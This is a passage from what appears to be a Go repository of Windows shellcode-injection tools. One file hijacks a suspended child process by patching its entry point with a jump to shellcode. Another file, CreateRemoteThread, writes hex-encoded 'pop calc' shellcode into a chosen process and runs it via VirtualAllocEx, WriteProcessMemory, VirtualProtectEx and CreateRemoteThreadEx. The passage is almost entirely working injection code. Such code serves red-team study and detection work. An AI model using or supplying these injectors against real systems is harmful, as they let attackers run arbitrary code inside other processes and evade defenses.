222 | reserved11 [128]byte // BYTE
223 | reserved12 [1]uintptr // PVOID
224 | SessionId uint32 // ULONG
225 | }
226 |
227 | // https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
228 | type PROCESS_BASIC_INFORMATION struct {
229 | reserved1 uintptr // PVOID
230 | PebBaseAddress uintptr // PPEB
231 | reserved2 [2]uintptr // PVOID
232 | UniqueProcessId uintptr // ULONG_PTR
233 | InheritedFromUniqueProcessID uintptr // PVOID
234 | }
235 |
236 | if *debug {
237 | fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId))
238 | }
239 |
240 | var processInformation PROCESS_BASIC_INFORMATION
241 | var returnLength uintptr
242 | ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
243 | if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." {
244 | log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error()))
245 | }
246 | if ntStatus != 0 {
247 | if ntStatus == 3221225476 {
248 | log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
249 | }
250 | fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
251 | log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus)))
252 | }
253 | if *verbose {
254 | fmt.Println("[-]Got PEB info from NtQueryInformationProcess")
255 | }
256 |
257 | // Read from PEB base address to populate the PEB structure
258 | // ReadProcessMemory
259 | /*
260 | BOOL ReadProcessMemory(
261 | HANDLE hProcess,
262 | LPCVOID lpBaseAddress,
263 | LPVOID lpBuffer,
264 | SIZE_T nSize,
265 | SIZE_T *lpNumberOfBytesRead
266 | );
267 | */
268 |
269 | ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
270 |
271 | if *debug {
272 | fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...")
273 | }
274 |
275 | var peb PEB
276 | var readBytes int32
277 |
278 | _, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
279 | if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." {
280 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error()))
281 | }
282 | if *verbose {
283 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes))
284 | }
285 | if *debug {
286 | fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb))
287 | fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress))
288 | }
289 |
290 | // Read the child program's DOS header and validate it is a MZ executable
291 | type IMAGE_DOS_HEADER struct {
292 | Magic uint16 // USHORT Magic number
293 | Cblp uint16 // USHORT Bytes on last page of file
294 | Cp uint16 // USHORT Pages in file
295 | Crlc uint16 // USHORT Relocations
296 | Cparhdr uint16 // USHORT Size of header in paragraphs
297 | MinAlloc uint16 // USHORT Minimum extra paragraphs needed
298 | MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
299 | SS uint16 // USHORT Initial (relative) SS value
300 | SP uint16 // USHORT Initial SP value
301 | CSum uint16 // USHORT Checksum
302 | IP uint16 // USHORT Initial IP value
303 | CS uint16 // USHORT Initial (relative) CS value
304 | LfaRlc uint16 // USHORT File address of relocation table
305 | Ovno uint16 // USHORT Overlay number
306 | Res [4]uint16 // USHORT Reserved words
307 | OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
308 | OEMInfo uint16 // USHORT OEM information; e_oemid specific
309 | Res2 [10]uint16 // USHORT Reserved words
310 | LfaNew int32 // LONG File address of new exe header
311 | }
312 |
313 | if *debug {
314 | fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...")
315 | }
316 |
317 | var dosHeader IMAGE_DOS_HEADER
318 | var readBytes2 int32
319 |
320 | _, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
321 | if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." {
322 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error()))
323 | }
324 | if *verbose {
325 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2))
326 | }
327 | if *debug {
328 | fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader))
329 | fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian
330 | fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew))
331 | }
332 |
333 | // 23117 is the LittleEndian unsigned base10 representation of MZ
334 | // 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
335 | if dosHeader.Magic != 23117 {
336 | log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
337 | }
338 |
339 | // Read the child process's PE header signature to validate it is a PE
340 | if *debug {
341 | fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...")
342 | }
343 | var Signature uint32
344 | var readBytes3 int32
345 |
346 | _, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
347 | if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." {
348 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error()))
349 | }
350 | if *verbose {
351 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3))
352 |
353 | }
354 | if *debug {
355 | fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature))
356 | }
357 |
358 | // 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
359 | // 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
360 | if Signature != 17744 {
361 | log.Fatal("[!]PE Signature string was not PE")
362 | }
363 |
364 | // Read the child process's PE file header
365 | /*
366 | typedef struct _IMAGE_FILE_HEADER {
367 | USHORT Machine;
368 | USHORT NumberOfSections;
369 | ULONG TimeDateStamp;
370 | ULONG PointerToSymbolTable;
371 | ULONG NumberOfSymbols;
372 | USHORT SizeOfOptionalHeader;
373 | USHORT Characteristics;
374 | } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
375 | */
376 |
377 | type IMAGE_FILE_HEADER struct {
378 | Machine uint16
379 | NumberOfSections uint16
380 | TimeDateStamp uint32
381 | PointerToSymbolTable uint32
382 | NumberOfSymbols uint32
383 | SizeOfOptionalHeader uint16
384 | Characteristics uint16
385 | }
386 |
387 | if *debug {
388 | fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...")
389 | }
390 | var peHeader IMAGE_FILE_HEADER
391 | var readBytes4 int32
392 |
393 | _, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
394 | if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." {
395 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error()))
396 | }
397 | if *verbose {
398 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4))
399 | switch peHeader.Machine {
400 | case 34404: // 0x8664
401 | fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)")
402 | case 332: // 0x14c
403 | fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)")
404 | default:
405 | fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine))
406 | }
407 | }
408 | if *debug {
409 | fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader))
410 | fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine))
411 | }
412 |
413 | // Read the child process's PE optional header to find it's entry point
414 | /*
415 | https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64
416 | typedef struct _IMAGE_OPTIONAL_HEADER64 {
417 | WORD Magic;
418 | BYTE MajorLinkerVersion;
419 | BYTE MinorLinkerVersion;
420 | DWORD SizeOfCode;
421 | DWORD SizeOfInitializedData;
422 | DWORD SizeOfUninitializedData;
423 | DWORD AddressOfEntryPoint;
424 | DWORD BaseOfCode;
425 | ULONGLONG ImageBase;
426 | DWORD SectionAlignment;
427 | DWORD FileAlignment;
428 | WORD MajorOperatingSystemVersion;
429 | WORD MinorOperatingSystemVersion;
430 | WORD MajorImageVersion;
431 | WORD MinorImageVersion;
432 | WORD MajorSubsystemVersion;
433 | WORD MinorSubsystemVersion;
434 | DWORD Win32VersionValue;
435 | DWORD SizeOfImage;
436 | DWORD SizeOfHeaders;
437 | DWORD CheckSum;
438 | WORD Subsystem;
439 | WORD DllCharacteristics;
440 | ULONGLONG SizeOfStackReserve;
441 | ULONGLONG SizeOfStackCommit;
442 | ULONGLONG SizeOfHeapReserve;
443 | ULONGLONG SizeOfHeapCommit;
444 | DWORD LoaderFlags;
445 | DWORD NumberOfRvaAndSizes;
446 | IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
447 | } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
448 | */
449 |
450 | type IMAGE_OPTIONAL_HEADER64 struct {
451 | Magic uint16
452 | MajorLinkerVersion byte
453 | MinorLinkerVersion byte
454 | SizeOfCode uint32
455 | SizeOfInitializedData uint32
456 | SizeOfUninitializedData uint32
457 | AddressOfEntryPoint uint32
458 | BaseOfCode uint32
459 | ImageBase uint64
460 | SectionAlignment uint32
461 | FileAlignment uint32
462 | MajorOperatingSystemVersion uint16
463 | MinorOperatingSystemVersion uint16
464 | MajorImageVersion uint16
465 | MinorImageVersion uint16
466 | MajorSubsystemVersion uint16
467 | MinorSubsystemVersion uint16
468 | Win32VersionValue uint32
469 | SizeOfImage uint32
470 | SizeOfHeaders uint32
471 | CheckSum uint32
472 | Subsystem uint16
473 | DllCharacteristics uint16
474 | SizeOfStackReserve uint64
475 | SizeOfStackCommit uint64
476 | SizeOfHeapReserve uint64
477 | SizeOfHeapCommit uint64
478 | LoaderFlags uint32
479 | NumberOfRvaAndSizes uint32
480 | DataDirectory uintptr
481 | }
482 |
483 | /*
484 | https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
485 | typedef struct _IMAGE_OPTIONAL_HEADER {
486 | WORD Magic;
487 | BYTE MajorLinkerVersion;
488 | BYTE MinorLinkerVersion;
489 | DWORD SizeOfCode;
490 | DWORD SizeOfInitializedData;
491 | DWORD SizeOfUninitializedData;
492 | DWORD AddressOfEntryPoint;
493 | DWORD BaseOfCode;
494 | DWORD BaseOfData;
495 | DWORD ImageBase;
496 | DWORD SectionAlignment;
497 | DWORD FileAlignment;
498 | WORD MajorOperatingSystemVersion;
499 | WORD MinorOperatingSystemVersion;
500 | WORD MajorImageVersion;
501 | WORD MinorImageVersion;
502 | WORD MajorSubsystemVersion;
503 | WORD MinorSubsystemVersion;
504 | DWORD Win32VersionValue;
505 | DWORD SizeOfImage;
506 | DWORD SizeOfHeaders;
507 | DWORD CheckSum;
508 | WORD Subsystem;
509 | WORD DllCharacteristics;
510 | DWORD SizeOfStackReserve;
511 | DWORD SizeOfStackCommit;
512 | DWORD SizeOfHeapReserve;
513 | DWORD SizeOfHeapCommit;
514 | DWORD LoaderFlags;
515 | DWORD NumberOfRvaAndSizes;
516 | IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
517 | } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
518 | */
519 |
520 | type IMAGE_OPTIONAL_HEADER32 struct {
521 | Magic uint16
522 | MajorLinkerVersion byte
523 | MinorLinkerVersion byte
524 | SizeOfCode uint32
525 | SizeOfInitializedData uint32
526 | SizeOfUninitializedData uint32
527 | AddressOfEntryPoint uint32
528 | BaseOfCode uint32
529 | BaseOfData uint32 // Different from 64 bit header
530 | ImageBase uint64
531 | SectionAlignment uint32
532 | FileAlignment uint32
533 | MajorOperatingSystemVersion uint16
534 | MinorOperatingSystemVersion uint16
535 | MajorImageVersion uint16
536 | MinorImageVersion uint16
537 | MajorSubsystemVersion uint16
538 | MinorSubsystemVersion uint16
539 | Win32VersionValue uint32
540 | SizeOfImage uint32
541 | SizeOfHeaders uint32
542 | CheckSum uint32
543 | Subsystem uint16
544 | DllCharacteristics uint16
545 | SizeOfStackReserve uint64
546 | SizeOfStackCommit uint64
547 | SizeOfHeapReserve uint64
548 | SizeOfHeapCommit uint64
549 | LoaderFlags uint32
550 | NumberOfRvaAndSizes uint32
551 | DataDirectory uintptr
552 | }
553 |
554 | if *debug {
555 | fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...")
556 | }
557 |
558 | var optHeader64 IMAGE_OPTIONAL_HEADER64
559 | var optHeader32 IMAGE_OPTIONAL_HEADER32
560 | var errReadProcessMemory5 error
561 | var readBytes5 int32
562 |
563 | if peHeader.Machine == 34404 { // 0x8664
564 | _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
565 | } else if peHeader.Machine == 332 { // 0x14c
566 | _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
567 | } else {
568 | log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
569 | }
570 |
571 | if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." {
572 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error()))
573 | }
574 | if *verbose {
575 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5))
576 | }
577 | if *debug {
578 | if peHeader.Machine == 332 { // 0x14c
579 | fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32))
580 | fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase))
581 | fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint))
582 | fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint)))
583 | }
584 | if peHeader.Machine == 34404 { // 0x8664
585 | fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64))
586 | fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase))
587 | fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint))
588 | fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint)))
589 | }
590 | }
591 |
592 | // Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
593 | var ep uintptr
594 | if peHeader.Machine == 34404 { // 0x8664 x64
595 | ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
596 | } else if peHeader.Machine == 332 { // 0x14c x86
597 | ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
598 | } else {
599 | log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
600 | }
601 |
602 | var epBuffer []byte
603 | var shellcodeAddressBuffer []byte
604 | // x86 - 0xb8 = mov eax
605 | // x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax
606 | if peHeader.Machine == 34404 { // 0x8664 x64
607 | epBuffer = append(epBuffer, byte(0x48))
608 | epBuffer = append(epBuffer, byte(0xb8))
609 | shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
610 | binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
611 | epBuffer = append(epBuffer, shellcodeAddressBuffer...)
612 | } else if peHeader.Machine == 332 { // 0x14c x86
613 | epBuffer = append(epBuffer, byte(0xb8))
614 | shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
615 | binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
616 | epBuffer = append(epBuffer, shellcodeAddressBuffer...)
617 | } else {
618 | log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
619 | }
620 |
621 | // 0xff ; 0xe0 = jmp [r|e]ax
622 | epBuffer = append(epBuffer, byte(0xff))
623 | epBuffer = append(epBuffer, byte(0xe0))
624 |
625 | if *debug {
626 | fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer))
627 | }
628 |
629 | _, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
630 |
631 | if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." {
632 | log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error()))
633 | }
634 | if *verbose {
635 | fmt.Println("[-]Successfully overwrote the AddressofEntryPoint")
636 | }
637 |
638 | // Resume the child process
639 | if *debug {
640 | fmt.Println("[DEBUG]Calling ResumeThread...")
641 | }
642 | _, errResumeThread := windows.ResumeThread(procInfo.Thread)
643 | if errResumeThread != nil {
644 | log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
645 | }
646 | if *verbose {
647 | fmt.Println("[+]Process resumed and shellcode executed")
648 | }
649 |
650 | // Close the handle to the child process
651 | if *debug {
652 | fmt.Println("[DEBUG]Calling CloseHandle on child process...")
653 | }
654 | errCloseProcHandle := windows.CloseHandle(procInfo.Process)
655 | if errCloseProcHandle != nil {
656 | log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
657 | }
658 |
659 | // Close the hand to the child process thread
660 | if *debug {
661 | fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
662 | }
663 | errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
664 | if errCloseThreadHandle != nil {
665 | log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
666 | }
667 |
668 | // Close the write handle the anonymous STDOUT pipe
669 | errCloseStdOutWrite := windows.CloseHandle(stdOutWrite)
670 | if errCloseStdOutWrite != nil {
671 | log.Fatal(fmt.Sprintf("[!]Error closing STDOUT pipe write handle:\r\n\t%s", errCloseStdOutWrite.Error()))
672 | }
673 |
674 | // Close the read handle to the anonymous STDIN pipe
675 | errCloseStdInRead := windows.CloseHandle(stdInRead)
676 | if errCloseStdInRead != nil {
677 | log.Fatal(fmt.Sprintf("[!]Error closing the STDIN pipe read handle:\r\n\t%s", errCloseStdInRead.Error()))
678 | }
679 |
680 | // Close the write handle to the anonymous STDERR pipe
681 | errCloseStdErrWrite := windows.CloseHandle(stdErrWrite)
682 | if errCloseStdErrWrite != nil {
683 | log.Fatal(fmt.Sprintf("[!]err closing STDERR pipe write handle:\r\n\t%s", errCloseStdErrWrite.Error()))
684 | }
685 |
686 | // Read STDOUT from child process
687 | /*
688 | BOOL ReadFile(
689 | HANDLE hFile,
690 | LPVOID lpBuffer,
691 | DWORD nNumberOfBytesToRead,
692 | LPDWORD lpNumberOfBytesRead,
693 | LPOVERLAPPED lpOverlapped
694 | );
695 | */
696 | nNumberOfBytesToRead := make([]byte, 1)
697 | var stdOutBuffer []byte
698 | var stdOutDone uint32
699 | var stdOutOverlapped windows.Overlapped
700 | if *debug {
701 | fmt.Println("[DEBUG]Calling ReadFile on STDOUT pipe...")
702 | }
703 | for {
704 | errReadFileStdOut := windows.ReadFile(stdOutRead, nNumberOfBytesToRead, &stdOutDone, &stdOutOverlapped)
705 | if errReadFileStdOut != nil && errReadFileStdOut.Error() != "The pipe has been ended." {
706 | log.Fatal(fmt.Sprintf("[!]Error reading from STDOUT pipe:\r\n\t%s", errReadFileStdOut.Error()))
707 | }
708 | if int(stdOutDone) == 0 {
709 | break
710 | }
711 | for _, b := range nNumberOfBytesToRead {
712 | stdOutBuffer = append(stdOutBuffer, b)
713 | }
714 | }
715 | if *verbose {
716 | fmt.Println(fmt.Sprintf("[-]Finished reading %d bytes from STDOUT", len(stdOutBuffer)))
717 | }
718 |
719 | // Read STDERR from child process
720 | var stdErrBuffer []byte
721 | var stdErrDone uint32
722 | var stdErrOverlapped windows.Overlapped
723 | if *debug {
724 | fmt.Println("[DEBUG]Calling ReadFile on STDERR pipe...")
725 | }
726 | for {
727 | errReadFileStdErr := windows.ReadFile(stdErrRead, nNumberOfBytesToRead, &stdErrDone, &stdErrOverlapped)
728 | if errReadFileStdErr != nil && errReadFileStdErr.Error() != "The pipe has been ended." {
729 | log.Fatal(fmt.Sprintf("[!]Error reading from STDOUT pipe:\r\n\t%s", errReadFileStdErr.Error()))
730 | }
731 | if int(stdErrDone) == 0 {
732 | break
733 | }
734 | for _, b := range nNumberOfBytesToRead {
735 | stdErrBuffer = append(stdErrBuffer, b)
736 | }
737 | }
738 | if *verbose {
739 | fmt.Println(fmt.Sprintf("[-]Finished reading %d bytes from STDERR", len(stdErrBuffer)))
740 | }
741 |
742 | // Write the data collected from the childprocess' STDOUT to the parent process' STOUTOUT
743 | if len(stdOutBuffer) > 0 {
744 | fmt.Println(fmt.Sprintf("[+]Child process STDOUT:\r\n%s", string(stdOutBuffer)))
745 | }
746 | if len(stdErrBuffer) > 0 {
747 | fmt.Println(fmt.Sprintf("[!]Child process STDERR:\r\n%s", string(stdErrBuffer)))
748 | }
749 | }
750 |
751 | // export GOOS=windows GOARCH=amd64;go build -o goCreateProcessWithPipe.exe cmd/CreateProcessWithPipe/main.go
752 | // test STDERR go run .\cmd\CreateProcessWithPipe\main.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf"
753 |
--------------------------------------------------------------------------------
/cmd/CreateRemoteThread/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | /*
4 | This program executes shellcode in a remote process using the following steps
5 | 1. Get a handle to the target process
6 | 1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
7 | 2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
8 | 3. Change the memory page permissions to Execute/Read with VirtualProtectEx
9 | 4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
10 | 5. Close the handle to the remote process
11 |
12 | This program leverages the functions from golang.org/x/sys/windows WHERE POSSIBLE to call Windows procedures instead of manually loading them
13 | */
14 |
15 | package main
16 |
17 | import (
18 | "encoding/hex"
19 | "flag"
20 | "fmt"
21 | "log"
22 | "unsafe"
23 |
24 | // Sub Repositories
25 | "golang.org/x/sys/windows"
26 | )
27 |
28 | func main() {
29 | verbose := flag.Bool("verbose", false, "Enable verbose output")
30 | debug := flag.Bool("debug", false, "Enable debug output")
31 | // To hardcode the Process Identifier (PID), change 0 to the PID of the target process
32 | pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
33 | flag.Parse()
34 |
35 | // Pop Calc Shellcode
36 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
37 | if errShellcode != nil {
38 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
39 | }
40 |
41 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
42 |
43 | VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
44 | VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
45 | WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
46 | CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
47 |
48 | if *debug {
49 | fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
50 | }
51 | pHandle, errOpenProcess := windows.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, false, uint32(*pid))
52 |
53 | if errOpenProcess != nil {
54 | log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
55 | }
56 | if *verbose {
57 | fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
58 | }
59 |
60 | if *debug {
61 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
62 | }
63 | addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
64 |
65 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
66 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
67 | }
68 |
69 | if addr == 0 {
70 | log.Fatal("[!]VirtualAllocEx failed and returned 0")
71 | }
72 | if *verbose {
73 | fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
74 | }
75 |
76 | if *debug {
77 | fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
78 | }
79 | _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
80 |
81 | if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
82 | log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
83 | }
84 | if *verbose {
85 | fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
86 | }
87 |
88 | if *debug {
89 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
90 | }
91 | oldProtect := windows.PAGE_READWRITE
92 | _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
93 | if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
94 | log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
95 | }
96 | if *verbose {
97 | fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
98 | }
99 |
100 | if *debug {
101 | fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid))
102 | }
103 | _, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
104 | if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." {
105 | log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error()))
106 | }
107 | if *verbose {
108 | fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid))
109 | }
110 |
111 | if *debug {
112 | fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
113 | }
